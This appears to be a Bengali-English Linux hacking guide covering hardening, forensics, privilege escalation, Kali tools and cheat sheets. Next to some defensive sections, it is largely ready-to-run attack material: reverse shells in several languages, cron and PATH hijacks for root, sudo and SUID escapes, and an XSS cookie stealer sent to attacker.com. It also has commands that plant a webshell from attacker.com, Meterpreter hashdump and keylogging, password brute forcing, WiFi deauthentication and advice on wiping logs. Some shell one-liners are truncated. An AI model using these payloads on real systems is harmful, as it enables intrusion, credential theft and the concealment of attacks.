Firewall — iptables

```
# বর্তমান rules দেখা iptables -L -n -v # সব rules iptables -L INPUT -n # INPUT chain iptables -S # Rules হুবহু # Rules যোগ করা iptables -A INPUT -p tcp --dport 22 -j ACCEPT # SSH allow iptables -A INPUT -p tcp --dport 80 -j ACCEPT # HTTP allow iptables -A INPUT -s 10.10.10.0/24 -j ACCEPT # IP range allow iptables -A INPUT -j DROP # বাকি সব block # Rules মুছা iptables -D INPUT -p tcp --dport 22 -j ACCEPT iptables -F # সব rules মুছা (সাবধান!) # UFW (Ubuntu Firewall — সহজ) ufw enable ufw allow ssh ufw allow 80/tcp ufw allow from 192.168.1.0/24 ufw deny 23 # Telnet block ufw status verbose ufw reset # সব reset # ★ Pentest: Firewall disable করা (root লাগবে) iptables -F && iptables -X # সব rules মুছা ufw disable
```

Netcat — Swiss Army Knife

```
# Listen করা nc -lvp 4444 # পোর্ট 4444-এ listen nc -lvnp 4444 # n=no DNS, v=verbose # Connect করা nc 192.168.1.100 4444 # Connect nc -zv 192.168.1.100 80 # Port check nc -zv 192.168.1.100 1-1000 # Port scan # ★ Reverse Shell # Attacker (listen করো): nc -lvnp 4444 # Victim (এটা চালাও): bash -i >& /dev/tcp/192.168.1.10/4444 0>&1 nc -e /bin/bash 192.168.1.10 4444 # ★ Bind Shell # Victim (listen করো): nc -lvnp 4444 -e /bin/bash # Attacker (connect করো): nc 192.168.1.100 4444 # File
```

```
Transfer # Receiver: nc -lvnp 4444 > received.txt # Sender: nc
192.168.1.10 4444 < file.txt
```

অন্যান্য গুরুত্বপূর্ণ নেটওয়ার্ক কমান্ড

```
ping -c 4 google.com # ICMP ping traceroute google.com # পথ দেখা mtr
google.com # Continuous traceroute tcpdump -i eth0 port 80 # Packet
capture tcpdump -i eth0 -w capture.pcap # ফাইলে সেভ tcpdump -r
capture.pcap # ফাইল পড়া whois google.com # Domain তথ্য
```

CHAPTER 08

Linux Security Hardening

Complete guide to securing your server

SSH হার্ডেনিং — সবচেয়ে গুরুত্বপূর্ণ

```
# /etc/ssh/sshd_config পরিবর্তন করো: Port 2222 # Default 22 পরিবর্তন
PermitRootLogin no # Root login বন্ধ PasswordAuthentication no # পাসওয়ার্ড
login বন্ধ PubkeyAuthentication yes # Key-based login MaxAuthTries 3 # ৩বার
ব্যর্থ হলে disconnect LoginGraceTime 20 # ২০ সেকেন্ডে login শেষ করতে হবে
AllowUsers saimum # শুধু নির্দিষ্ট user Protocol 2 # SSH v2 only X11Forwarding
no # GUI forwarding বন্ধ ClientAliveInterval 300 # ৫ মিনিট idle →
disconnect # SSH পুনরায় চালু systemctl restart sshd
```

Fail2Ban — Brute Force Protection

```
# Install apt install fail2ban # /etc/fail2ban/jail.local [DEFAULT]
bantime = 3600 # ১ ঘণ্টা ban findtime = 600 # ১০ মিনিটে maxretry = 5 # ৫বার
ব্যর্থ হলে [sshd] enabled = true port = 2222 filter = sshd # Status দেখা
fail2ban-client status fail2ban-client status sshd fail2ban-client unban
192.168.1.100 # IP unban
```

User Account সুরক্ষা

```
# শক্তিশালী পাসওয়ার্ড নীতি (PAM) apt install libpam-cracklib #
/etc/pam.d/common-password-এ: password required pam_cracklib.so retry=3
```

```
minlen=12 dcredit=-1 ucredit=-1 ocredit=-1 lcredit=-1 # Account lockout # /etc/pam.d/common-auth-এ: auth required pam_faillock.so preauth silent deny=5 unlock_time=900 # অব্যবহৃত user lock usermod -L daemon usermod -L nobody passwd -l username # password lock # /etc/login.defs পরিবর্তন PASS_MAX_DAYS 90 # পাসওয়ার্ড ৯০ দিনে expire PASS_MIN_DAYS 7 # ৭ দিনের আগে পরিবর্তন নয় PASS_WARN_AGE 14 # ১৪ দিন আগে সতর্কতা
```

সিস্টেম হার্ডেনিং

```
# /etc/sysctl.conf — Kernel Parameters net.ipv4.ip_forward = 0 # Packet forwarding বন্ধ net.ipv4.conf.all.accept_redirects=0 # ICMP redirect বন্ধ net.ipv4.conf.all.send_redirects=0 net.ipv4.tcp_syncookies = 1 # SYN Flood সুরক্ষা net.ipv4.conf.all.rp_filter = 1 # Spoofed packet বন্ধ kernel.randomize_va_space = 2 # ASLR চালু kernel.dmesg_restrict = 1 # Kernel log সীমিত sysctl -p # পরিবর্তন apply # Unnecessary service বন্ধ systemctl disable telnet systemctl disable ftp systemctl disable rsh systemctl disable rlogin # Package আপডেট apt update && apt upgrade -y apt install unattended-upgrades
```

Audit — কে কী করছে?

```
# auditd install ও setup apt install auditd # Rule যোগ করা auditctl -w /etc/passwd -p wa -k passwd_changes auditctl -w /etc/shadow -p wa -k shadow_changes auditctl -w /etc/sudoers -p wa -k sudoers_changes auditctl -w /bin/su -p x -k su_use # Log দেখা ausearch -k passwd_changes aureport --auth # Authentication report aureport --failed # ব্যর্থ ইভেন্ট # AIDE — File Integrity Monitoring apt install aide aide --init aide --check # পরিবর্তন হয়েছে কিনা চেক
```

AppArmor & SELinux — Mandatory Access Control

```
# AppArmor (Ubuntu/Debian) aa-status # Status দেখা aa-enforce /etc/apparmor.d/apache2 # Profile enforce aa-complain
```

```
/etc/apparmor.d/nginx # Log only mode # SELinux (RHEL/CentOS/Fedora)
getenforce # Enforcing/Permissive/Disabled setenforce 1 # Enforce mode
sestatus # বিস্তারিত status
```

CHAPTER 09

⬆️ Linux Privilege Escalation

From normal user to root — all methods in detail

What is Privilege Escalation?

Privilege Escalation মানে কম সুবিধার account থেকে বেশি সুবিধার account (বিশেষত root) পাওয়া। CTF ও Real-world Pentest-এ এটি সবচেয়ে গুরুত্বপূর্ণ পদক্ষেপ।

> 💡 **Privilege Escalation এর ধাপ**
>
> ১. Enumeration (তথ্য সংগ্রহ) → ২. দুর্বলতা চিহ্নিত → ৩. Exploit → ৪. Root shell

১. Enumeration — প্রথম পদক্ষেপ

```
# System তথ্য uname -a # Kernel version cat /etc/os-release # OS version hostname # Hostname # User তথ্য id # বর্তমান UID, GID whoami # username sudo -l # ★ sudo অনুমতি cat /etc/passwd # সব user cat /etc/shadow 2>/dev/null # shadow (read করা যায়?) cat /etc/group # Groups # SUID/SGID find / -perm -4000 -type f 2>/dev/null # ★ SUID ফাইল find / -perm -2000 -type f 2>/dev/null # SGID ফাইল # Writable ফাইল/ডিরেক্টরি find / -writable -type f 2>/dev/null | grep -v proc find / -writable -type d 2>/dev/null # Cron jobs cat /etc/crontab ls -la /etc/cron* crontab -l cat /var/spool/cron/crontabs/root 2>/dev/null # Network netstat -tulnp 2>/dev/null ss -tulnp ip addr # Password খোঁজা find / -name "*.conf" -exec grep -i "password\|passwd\|secret" {} \; 2>/dev/null find / -name "*.php" -exec grep -i "DB_PASSWORD\|password" {} \; 2>/dev/null cat ~/.bash_history | grep -i "password\|passwd"
```

২. Sudo Privilege Escalation

```
# sudo -l এর output বিশ্লেষণ sudo -l User www-data may run the following commands: (ALL) NOPASSWD: /usr/bin/vim # GTFOBins দেখে exploit করো sudo vim -c ':!/bin/bash' # vim দিয়ে shell sudo python3 -c 'import os; os.system("/bin/bash")' sudo find . -exec /bin/bash \; -quit sudo awk 'BEGIN {system("/bin/bash")}' sudo less /etc/passwd # তারপর !bash sudo nano # তারপর Ctrl+R Ctrl+X → bash sudo zip /tmp/test.zip /etc/passwd -T --unzip-command "bash -p"
```

৩. SUID Exploitation

```
# SUID ফাইল পাওয়া find / -perm -4000 -type f 2>/dev/null # সাধারণ SUID Exploit (GTFOBins থেকে) # nmap SUID (পুরনো) nmap --interactive nmap> !sh # python SUID python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")' # bash SUID bash -p # -p মানে privileged mode # cp SUID — /etc/shadow copy করা cp /etc/shadow /tmp/shadow_copy # তুমি কাস্টম binary পেলে strings দিয়ে বিশ্লেষণ: strings /usr/local/bin/custom_suid # যদি system() বা PATH ব্যবহার করে → PATH Injection!
```

8. PATH Injection

```
# SUID binary যদি full path ছাড়া command ডাকে: strings /usr/local/suid_binary service apache2 start # full path নেই! # নকল 'service' তৈরি করো: echo '#!/bin/bash' > /tmp/service echo '/bin/bash -p' >> /tmp/service chmod +x /tmp/service # PATH-এর শুরুতে /tmp যোগ করো: export PATH=/tmp:$PATH # এখন binary চালাও → নকল service চলবে → root shell! /usr/local/suid_binary
```

৫. Cron Job Hijacking

```
# root-এর cron script খুঁজে পেলাম: cat /etc/crontab * * * * * root /usr/local/bin/backup.sh # script কি writable? ls -la /usr/local/bin/backup.sh -rwxrwxrwx 1 root root backup.sh # ← সবাই লিখতে পারে! # Reverse shell যোগ করো: echo "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1" >> /usr/local/bin/backup.sh # অথবা /bin/bash কে SUID করো: echo "chmod u+s /bin/bash" >> /usr/local/bin/backup.sh # পরের মিনিটে: bash -p # root shell!
```

৬. Kernel Exploit

```
# Kernel version দেখা uname -r 4.4.0-116-generic # বিখ্যাত Kernel Exploit # DirtyCow (CVE-2016-5195) → Kernel 2.x - 4.x # DirtyPipe (CVE-2022-0847) → Kernel 5.8 - 5.16 # RDS (CVE-2010-3904) → Kernel < 2.6.36 # Exploit-DB থেকে খোঁজো: searchsploit linux kernel 4.4.0 privilege escalation searchsploit -m 40839 # DirtyCow download gcc -pthread dirty.c -o dirty -lcrypt ./dirty newpassword # root পাসওয়ার্ড পরিবর্তন
```

৭. Automated Enumeration Tools

```
# ★ LinPEAS — সবচেয়ে জনপ্রিয় curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # অথবা transfer করে: wget http://attacker.com/linpeas.sh bash linpeas.sh | tee linpeas_output.txt # LinEnum bash linenum.sh -t # Thorough scan # linux-smart-enumeration bash lse.sh -l 2 # Level 2 scan # সব চেক করার কমান্ড (manual): id; whoami; uname -a; cat /etc/os-release; sudo -l; find / -perm -4000 2>/dev/null; cat /etc/crontab; ls /etc/cron.d/; cat ~/.bash_history; find / -name "*.conf" 2>/dev/null | head;
```

✅ **GTFOBins — হ্যাকারের সেরা বন্ধু**

> **gtfobins.github.io** — এই ওয়েবসাইটে সব Unix binary-এর (vim, python, perl, ruby, find, awk, etc.) দিয়ে shell/sudo/SUID exploit পাওয়া যায়। Pentest-এ সবার আগে এখানে চেক করো।

CHAPTER 10

🔍 Log Management & Linux Forensics

Compromised System Analysis & Incident Response

গুরুত্বপূর্ণ Log ফাইল

```
# Authentication log tail -f /var/log/auth.log # Real-time grep "Failed
password" /var/log/auth.log | tail -20 grep "Accepted password"
/var/log/auth.log grep "sudo" /var/log/auth.log # System log tail -100
/var/log/syslog journalctl -xe # systemd log journalctl -u sshd --since
"1 hour ago" journalctl --since "2024-01-01 00:00" --until "2024-01-02
00:00" # Web server log tail -f /var/log/apache2/access.log tail -f
/var/log/nginx/access.log # Login history last # সফল login history lastb
# ব্যর্থ login (root লাগতে পারে) lastlog # সব user-এর শেষ login who # বর্তমানে
login করা user # Log বিশ্লেষণ # Top 10 IP by request: awk '{print $1}'
/var/log/apache2/access.log | sort | uniq -c | sort -rn | head -10 # 404
error count by IP: awk '$9=="404" {print $1}' access.log | sort | uniq -c
| sort -rn # Brute force detect: grep "Failed password" auth.log | awk
'{print $(NF-3)}' | sort | uniq -c | sort -rn
```

Incident Response — আক্রান্ত সিস্টেমে কী করবে?

```
# ১. কে login আছে? who w last | head -20 # ২. অস্বাভাবিক প্রসেস ps aux --
sort=-%cpu | head -20 ps aux --sort=-%mem | head -20 ps aux | grep -E "
(nc|netcat|bash -i|python -c)" # ৩. নেটওয়ার্ক সংযোগ netstat -tulnp ss -
tulnp lsof -i TCP -n | grep ESTABLISHED # ৪. সাম্প্রতিক পরিবর্তিত ফাইল find /
-mtime -1 -type f 2>/dev/null | grep -v "/proc\|/sys" find /var/www -
mtime -7 -name "*.php" 2>/dev/null # ৫. Cron job চেক crontab -l -u root
cat /etc/crontab ls -la /etc/cron* # ৬. Startup script চেক ls -la
```

```
/etc/init.d/ systemctl list-units --type=service ls -la /etc/rc*.d/ # ৭. SUID file চেক find / -perm -4000 -type f 2>/dev/null > /tmp/suid_check.txt diff /tmp/suid_check.txt /tmp/suid_baseline.txt # নতুন SUID? # ৮. Hidden ফাইল/ডিরেক্টরি find / -name ".*" -type f 2>/dev/null | grep -v ".cache\|.config" ls -la /tmp/ /var/tmp/ /dev/shm/ # ৯. User account চেক awk -F: '$3 == 0 {print $1}' /etc/passwd # UID 0 user awk -F: 'length($2) > 0 && $2 != "x" {print $1}' /etc/passwd # Direct hash # ১০. SSH authorized keys cat ~/.ssh/authorized_keys cat /root/.ssh/authorized_keys find / -name "authorized_keys" 2>/dev/null
```

Webshell খোঁজা

```
# সন্দেহজনক PHP ফাইল খোঁজা find /var/www -name "*.php" -type f -mtime -7 grep -r "eval\|base64_decode\|system\|exec\|passthru\|shell_exec\|popen" /var/www/ --include="*.php" grep -r "\$_GET\|\$_POST\|\$_REQUEST" /var/www/ --include="*.php" | grep -i "eval\|system" # Yara দিয়ে webshell scan yara webshell_rules.yar /var/www/ # Base64 encoded code grep -r "base64_decode" /var/www/ --include="*.php"
```

Memory ও Disk Forensics

```
# Memory dump apt install lime-forensics insmod lime.ko "path=/tmp/memory.lime format=lime" # Volatility দিয়ে memory বিশ্লেষণ volatility -f memory.lime --profile=Linux imageinfo volatility -f memory.lime --profile=LinuxUbuntu pstree volatility -f memory.lime --profile=LinuxUbuntu linux_netstat # Disk Image তৈরি dd if=/dev/sda of=/external/disk.img bs=4096 # Autopsy দিয়ে বিশ্লেষণ autopsy # GUI tool # File Carving — মুছে যাওয়া ফাইল পুনরুদ্ধার photorec disk.img # Image/Video recover foremost -i disk.img -o /output/ # File carving scalpel disk.img -o /output/ # Advanced carving # Metadata বিশ্লেষণ exiftool suspicious_file.jpg # Image metadata strings malware.bin | head -50 #
```

```
Printable strings xxd malware.bin | head -20 # Hex dump file malware.bin
# ফাইল ধরন
```

CHAPTER 11

📜 Shell Scripting for Security

Automation, Reverse Shell & Security Scripts

Bash Scripting মূল ধারণা

```
#!/bin/bash # Shebang — bash দিয়ে চালাও # Variable name="saimum" age=20
echo "নাম: $name, বয়স: $age" # User input read -p "IP address: " ip echo
"স্ক্যান করছি: $ip" # Condition if [ -f "/etc/shadow" ]; then echo "shadow
file exists" elif [ -d "/var/www" ]; then echo "web server আছে" else echo
"কিছুই নেই" fi # Loop for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i
&>/dev/null && echo "192.168.1.$i UP" done # While loop while true; do nc
-lvnp 4444 sleep 5 done # Function scan_host() { echo "Scanning: $1" nmap
-sV $1 } scan_host 192.168.1.1
```

Security Automation Scripts

Host Discovery Script

```
#!/bin/bash # Network-এর সব active host খোঁজা NETWORK="192.168.1" echo "
[*] Scanning $NETWORK.0/24..." for i in $(seq 1 254); do { ping -c 1 -W 1
$NETWORK.$i &>/dev/null if [ $? -eq 0 ]; then hostname=$(nslookup
$NETWORK.$i 2>/dev/null | awk '/name = / {print $4}') echo "[+]
$NETWORK.$i UP - $hostname" fi } & done wait echo "[*] Scan complete"
```

Log Monitoring Script

```
#!/bin/bash # SSH Brute Force detect করা LOGFILE="/var/log/auth.log" THRESHOLD=10 echo "[*] Brute Force Detection চলছে..." grep "Failed password" $LOGFILE | \ awk '{print $(NF-3)}' | \ sort | uniq -c | sort -rn | \ while read count ip; do if [ $count -gt $THRESHOLD ]; then echo "[!] ALERT: $ip থেকে $count ব্যর্থ login!" echo "[*] Blocking $ip..." iptables -A INPUT -s $ip -j DROP fi done
```

Privilege Escalation Check Script

```
#!/bin/bash echo "=== Privilege Escalation Check ===" echo "[*] Current User:" id; whoami echo "[*] Sudo Permissions:" sudo -l 2>/dev/null echo "[*] SUID Files:" find / -perm -4000 -type f 2>/dev/null echo "[*] Writable /etc files:" find /etc -writable -type f 2>/dev/null echo "[*] Cron Jobs:" cat /etc/crontab 2>/dev/null ls /etc/cron.d/ 2>/dev/null echo "[*] Interesting files:" find / -name "*.conf" -exec grep -li "password" {} \; 2>/dev/null | head -10
```

Reverse Shell — সব পদ্ধতি

```
# ★ Bash Reverse Shell bash -i >& /dev/tcp/10.10.14.1/4444 0>&1 # Python Reverse Shell python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.1",4444));os.dup2
i"])' # Netcat Reverse Shell nc -e /bin/bash 10.10.14.1 4444 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.1 4444 >/tmp/f # PHP Reverse Shell php -r '$sock=fsockopen("10.10.14.1",4444);exec("/bin/bash -i <&3 >&3 2>&3");' # Perl Reverse Shell perl -e 'use Socket;$i="10.10.14.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("t
-i");' # ★ Shell Upgrade (fully interactive) # Attacker-এ: nc -lvnp 4444 # Reverse shell পাওয়ার পর: python3 -c 'import pty;pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg # Enter দুইবার export TERM=xterm
```

CHAPTER 12

🗡️ Kali Linux — Complete Tools Guide

From Reconnaissance to Post-Exploitation — All Tools

Phase 1: Reconnaissance (তথ্য সংগ্রহ)

```
# Passive Recon whois target.com # Domain info dig target.com ANY # DNS records dnsenum target.com # DNS enumeration dnsrecon -d target.com # Detailed DNS theHarvester -d target.com -b all # Email, subdomain subfinder -d target.com # Subdomain discovery amass enum -d target.com # Asset discovery fierce --domain target.com # DNS brute force # OSINT recon-ng # OSINT framework maltego # Link analysis (GUI) shodan search "apache city:Dhaka" # IoT search
```

Phase 2: Scanning

```
# Nmap — সবচেয়ে গুরুত্বপূর্ণ nmap -sn 192.168.1.0/24 # Host discovery nmap -sS -p- target.com # Stealth full scan nmap -sV -sC target.com # Service + Default scripts nmap -A -T4 target.com # Aggressive scan nmap -sU target.com # UDP scan nmap --script vuln target.com # Vulnerability scan nmap --script=smb-vuln* target.com # SMB vulnerabilities nmap -oN result.txt target.com # Output to file # Vulnerability Scanners nikto -h http://target.com # Web server scan nuclei -u https://target.com # Template-based scan openvas # Full vulnerability scanner # Directory Brute Force gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dirb http://target.com feroxbuster -u http://target.com -w wordlist.txt # Subdomain Brute Force gobuster dns -d target.com -w subdomains.txt
```

Phase 3: Exploitation

Metasploit Framework — সবচেয়ে গুরুত্বপূর্ণ

```
# Metasploit শুরু msfdb init # Database setup msfconsole # Metasploit শুরু
# মৌলিক কমান্ড help # সাহায্য search eternalblue # Exploit খোঁজা use
exploit/windows/smb/ms17_010_eternalblue # Module নির্বাচন info # Module তথ্য
show options # Configure করতে হবে কী কী set RHOSTS 192.168.1.100 # Target
IP set LHOST 192.168.1.50 # আমার IP set LPORT 4444 # আমার পোর্ট set
payload windows/x64/meterpreter/reverse_tcp show payloads # সব payload
run # চালাও! exploit # একই কাজ # Meterpreter — post-exploitation shell
sysinfo # সিস্টেম তথ্য getuid # বর্তমান user getsystem # Privilege escalation
চেষ্টা hashdump # Password hashes বের করো shell # System shell upload
file.txt /tmp/ # ফাইল upload download /etc/passwd ./ # ফাইল download
screenshot # Screenshot keyscan_start # Keylogger run
post/multi/recon/local_exploit_suggester # PrivEsc suggestion background
# Session background sessions -l # সব session sessions -i 1 # Session 1-এ
ফিরে যাও
```

Phase 4: Web Application Testing

```
# Burp Suite (GUI) — সবচেয়ে গুরুত্বপূর্ণ burpsuite & # Background-এ চালু #
Browser proxy: 127.0.0.1:8080 # SQLmap — SQL Injection sqlmap -u
"http://target.com/page?id=1" sqlmap -u "http://target.com/page?id=1" --
dbs # Database list sqlmap -u "http://target.com/page?id=1" -D testdb --
tables sqlmap -u "http://target.com/page?id=1" -D testdb -T users --dump
sqlmap -r request.txt # Burp request থেকে sqlmap -u "..." --os-shell # OS
shell পাওয়া # XSS Testing # Payload: <script>alert('XSS')</script> <img
src=x onerror=alert(document.cookie)>
<script>document.location='http://attacker.com/steal?
c='+document.cookie</script> # OWASP ZAP — Automated scanner zaproxy &
```

Phase 5: Password Attacks

```
# Hydra — Online Brute Force hydra -l admin -P
/usr/share/wordlists/rockyou.txt ssh://192.168.1.100 hydra -L users.txt -
P passwords.txt http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
hydra -l admin -P rockyou.txt ftp://192.168.1.100 hydra -l user -P
rockyou.txt rdp://192.168.1.100 # John the Ripper john hash.txt # Auto
detect john --wordlist=rockyou.txt hash.txt # Dictionary john --rules
hash.txt # Rules apply john --show hash.txt # Cracked password দেখা
unshadow /etc/passwd /etc/shadow > crack.txt && john crack.txt # Hashcat
— GPU-based hashcat -m 0 hash.txt rockyou.txt # MD5 hashcat -m 1000
hash.txt rockyou.txt # NTLM (Windows) hashcat -m 1800 hash.txt
rockyou.txt # SHA-512 (Linux) hashcat -m 22000 handshake.hc22000
rockyou.txt # WPA2 hashcat -a 3 hash.txt ?a?a?a?a?a?a # Brute force mask
# Wordlist ls /usr/share/wordlists/ gunzip
/usr/share/wordlists/rockyou.txt.gz # Decompress crunch 8 10 abc123 -o
wordlist.txt # Custom wordlist
```

Phase 6: Wireless Attacks

```
# Monitor Mode চালু airmon-ng check kill # Conflicting process বন্ধ airmon-
ng start wlan0 # Monitor mode iwconfig wlan0mon # Confirm # WiFi স্ক্যান
airodump-ng wlan0mon # সব নেটওয়ার্ক দেখা airodump-ng -c 6 --bssid
AA:BB:CC:DD:EE:FF -w capture wlan0mon # Target # Deauth Attack +
Handshake Capture aireplay-ng --deauth 100 -a [BSSID] wlan0mon # Deauth #
Handshake capture হলে airodump-ng-তে দেখাবে # WPA2 Crack aircrack-ng -w
rockyou.txt capture.cap hashcat -m 22000 capture.hc22000 rockyou.txt #
Monitor Mode বন্ধ airmon-ng stop wlan0mon
```

গুরুত্বপূর্ণ Wordlist ও Payload

ফাইল/টুল	অবস্থান	ব্যবহার
rockyou.txt	/usr/share/wordlists/rockyou.txt.gz	পাসওয়ার্ড ক্র্যাক
dirbuster wordlist	/usr/share/wordlists/dirbuster/	Directory brute force

ফাইল/টুল	অবস্থান	ব্যবহার
SecLists	/usr/share/seclists/ (ইনস্টল করতে হবে)	সব ধরনের wordlist
webshells	/usr/share/webshells/	PHP/ASP webshell
nmap scripts	/usr/share/nmap/scripts/	NSE scripts
Metasploit modules	/usr/share/metasploit-framework/modules/	Exploit modules

File Transfer — Victim থেকে/আমার কাছে

```
# Python HTTP Server (Attacker-এ) python3 -m http.server 8080 # Victim-এ download: wget http://attacker.com:8080/linpeas.sh curl http://attacker.com:8080/shell.php -o /var/www/html/shell.php # SCP (SSH Copy) scp user@victim:/etc/passwd ./ # Victim থেকে ডাউনলোড scp ./shell.php user@victim:/tmp/ # Victim-এ upload # Base64 দিয়ে Transfer (Firewall bypass) # Attacker: base64 linpeas.sh # Encode করো # Victim: echo "BASE64DATA..." | base64 -d > linpeas.sh && bash linpeas.sh
```

🎯 সারসংক্ষেপ — Pentest Methodology

- ✅ Reconnaissance → Nmap, theHarvester, subfinder
- ✅ Scanning → Nikto, Nmap scripts, Gobuster
- ✅ Exploitation → Metasploit, SQLmap, Manual
- ✅ Post-Exploitation → Meterpreter, LinPEAS
- ✅ Privilege Escalation → sudo -l, SUID, Cron
- ✅ Persistence → Cron, Systemd service, Authorized keys
- ✅ Covering Tracks → Log মুছা, History পরিষ্কার

🚀 পরবর্তী পদক্ষেপ

TryHackMe — "Jr Penetration Tester" Path দিয়ে শুরু করো। তারপর **HackTheBox**-এ Easy Linux machine থেকে শুরু করো। সব কিছু Linux-এ হাতে-কলমে প্র্যাকটিস করতে হবে — শুধু পড়লে হবে না।

🐧 "In the world of Linux, the terminal is your superpower."

This document is entirely for educational purposes.

Always practice in an authorized environment.

CHAPTER 13

🗺️ Cybersecurity Learning Roadmap

Complete path from zero to professional

💡 How to read this roadmap?

Complete each phase below in order. Each phase takes approximately 1-3 months on average.

1

🐧 Phase 1 — Linux & Networking Fundamentals

1-2 মাস / 1-2 months

The foundation of cybersecurity. Without this base, everything else becomes harder.

- Linux Basic Commands
- File System & Permissions
- Bash Scripting
- TCP/IP Model
- DNS, HTTP, SSH
- Wireshark Basics

↓

2

🔐 Phase 2 — Core Security Concepts

1-2 মাস / 1-2 months

How to secure systems and where vulnerabilities exist.

- Cryptography Basics
- User & Access Control
- Firewall & iptables
- Log Analysis
- SSH Hardening
- CVE & Vulnerability Basics

↓

3

🗡️ Phase 3 — Start Ethical Hacking

2-3 মাস / 2-3 months

Learn to think like an attacker. Hands-on with Kali Linux.

Kali Linux Setup | Nmap & Scanning | Metasploit Framework | Web Hacking Basics | SQLi & XSS | Password Attacks | TryHackMe — Easy Rooms

↓

4

⬆️ Phase 4 — Advanced Techniques 2-4 মাস / 2-4 months

Privilege Escalation, Forensics, Scripting — at a professional level.

Linux PrivEsc | Windows PrivEsc | Active Directory | Digital Forensics | Python Scripting | HackTheBox — Easy

↓

5

🏆 Phase 5 — Certifications & Career চলমান / Ongoing

Start your professional career with certifications.

eJPT (শুরু করার জন্য) | CompTIA Security+ | CEH | OSCP (লক্ষ্য) | Bug Bounty | CTF Competitions

🌐 Platforms & Resources

Platform	Type	For Whom	Cost
TryHackMe	Guided Learning	Complete beginners	Free + Premium
HackTheBox	CTF / Labs	Intermediate & advanced	Free + VIP
PortSwigger Web Academy	Web Hacking	For web security	Free
PicoCTF	CTF	For students	Free

Platform	Type	For Whom	Cost
VulnHub	VMs	Offline practice	Free
OWASP	Web Standard	Web security reference	Free
Exploit-DB	Exploit DB	Find CVEs and exploits	Free
GTFOBins	PrivEsc Reference	Linux PrivEsc	Free

🗺️ Remember

- ✅ Going to Phase 3 without Phase 1 is like building a house without foundation
- ✅ Practice hands-on at least 1 hour every day
- ✅ Just reading won't work — open the terminal, run commands
- ✅ Read write-ups and write your own

CHAPTER 14

📋 Quick Cheat Sheet — Fast Reference

Most frequently used commands at a glance

⚡ How to use this Cheat Sheet?

Bookmark this section to quickly find commands during a CTF or Pentest.

🔍 Reconnaissance (Information Gathering)

🌐 Nmap

`nmap -sV -sC -oN`	Service + script scan
`nmap -p- --min-rate 5000`	Fast full port scan
`nmap -sU -p 161`	UDP scan (SNMP)
`nmap --script vuln`	Vulnerability scan
`nmap -sn 192.168.1.0/24`	Host discovery

🕵 OSINT

`whois domain.com`	Domain owner info
`dig domain.com ANY`	All DNS records
`subfinder -d domain.com`	Subdomain discovery
`theHarvester -d target.com`	Emails & subdomains
`shodan search apache`	Internet device search

🐚 Reverse Shell

💻 Listener (On My Machine)

`nc -lvnp 4444`	Netcat listener
`rlwrap nc -lvnp 4444`	Listener with arrow keys

🎯 Shell Payload (On Target)

`bash -i >& /dev/tcp/IP/4444 0>&1`	Bash
`python3 -c 'import socket...'`	Python
`php -r '$s=fsockopen...'`	PHP
`msfvenom -p linux/x64/shell`	MSF Payload

⬆️ Privilege Escalation Quick Check

```
# ১. প্রথমেই চালাও sudo -l # What can I run with sudo? id && whoami # Who am I? cat /etc/passwd | grep -v nologin # Users that can login # ২. SUID বাইনারি find / -perm -4000 -type f 2>/dev/null | head -20 # ৩. Cron job cat /etc/crontab && ls /etc/cron.* # ৪. Writable directory/file find / -writable -type f 2>/dev/null | grep -v proc # ৫. Kernel version → exploit খোঁজা uname -a searchsploit linux kernel $(uname -r) # ৬. Password file-এ plain text? grep -r "password\|passwd" /var/www/ /home/ 2>/dev/null # ৭. History-তে কিছু আছে? cat ~/.bash_history | grep -E "pass|ssh|mysql|ftp" # ৮. Automated tool curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
```

🌐 Web Attack Quick Reference

🕷️ SQLi Testing

`' OR '1'='1`	Basic auth bypass

`' OR 1=1--`	Bypass with comment
`admin'--`	Admin login bypass
`1 UNION SELECT 1,2,3--`	Find column count
`sqlmap -u URL --dbs`	Automated SQLi

📂 Directory Bruteforce

`gobuster dir -u URL -w wordlist`	Gobuster
`ffuf -u URL/FUZZ -w list`	FFUF
`dirb URL /usr/share/dirb/wordlists/`	Dirb
`nikto -h URL`	Web vulnerability scan

🔑 Password Cracking

🔒 Hashcat

`hashcat -m 0`	MD5
`hashcat -m 1000`	NTLM (Windows)
`hashcat -m 1800`	SHA-512 (Linux)
`hashcat -m 22000`	WPA2 WiFi
`hashcat -a 3 ?a?a?a?a`	Brute force mask

🔑 John the Ripper

`john hash.txt --wordlist=rockyou.txt`	Dictionary attack
`unshadow passwd shadow > h.txt`	Extract Linux hash
`ssh2john id_rsa > hash`	SSH key crack
`zip2john file.zip > hash`	ZIP password crack

🍪 Shell Upgrade — Interactive Shell

```
# Dumb shell পেলে এটা দিয়ে upgrade করো: python3 -c 'import pty;
pty.spawn("/bin/bash")' # তারপর: Ctrl+Z stty raw -echo; fg export
TERM=xterm stty rows 50 cols 200
```

📋 Cheat Sheet Summary

- 🔍 Recon: nmap → gobuster → nikto
- 💥 Exploit: searchsploit → metasploit → manual
- 🔼 PrivEsc: sudo -l → SUID → cron → kernel
- 🔑 Password: john → hashcat → hydra
- 🐚 Shell: nc listener → payload → upgrade

CHAPTER 15

🔧 Tools Comparison — Choose the Best Tool

Which tool for which task — side by side comparison

🌐 Port Scanner Comparison

Tool	Speed	Accuracy	Specialty	When to Use
Nmap	⭐⭐⭐	⭐⭐⭐⭐⭐	NSE Scripts, OS detection	Always first choice
Masscan	⭐⭐⭐⭐⭐	⭐⭐⭐	Ultra fast	Large network quick scan
Rustscan	⭐⭐⭐⭐⭐	⭐⭐⭐⭐	Rust-based, fast	Quick all-port scan in CTF
Netcat	⭐⭐⭐	⭐⭐⭐	Banner grabbing	Manual port check

💥 Exploitation Framework Comparison

Tool	Type	Strengths	Weaknesses	Use Case
Metasploit	Framework	Everything built-in, easy	Easily detected by IDS	CVE exploit, post-exploit
SQLmap	Web	Automated SQL injection	SQL injection only	Web database attack

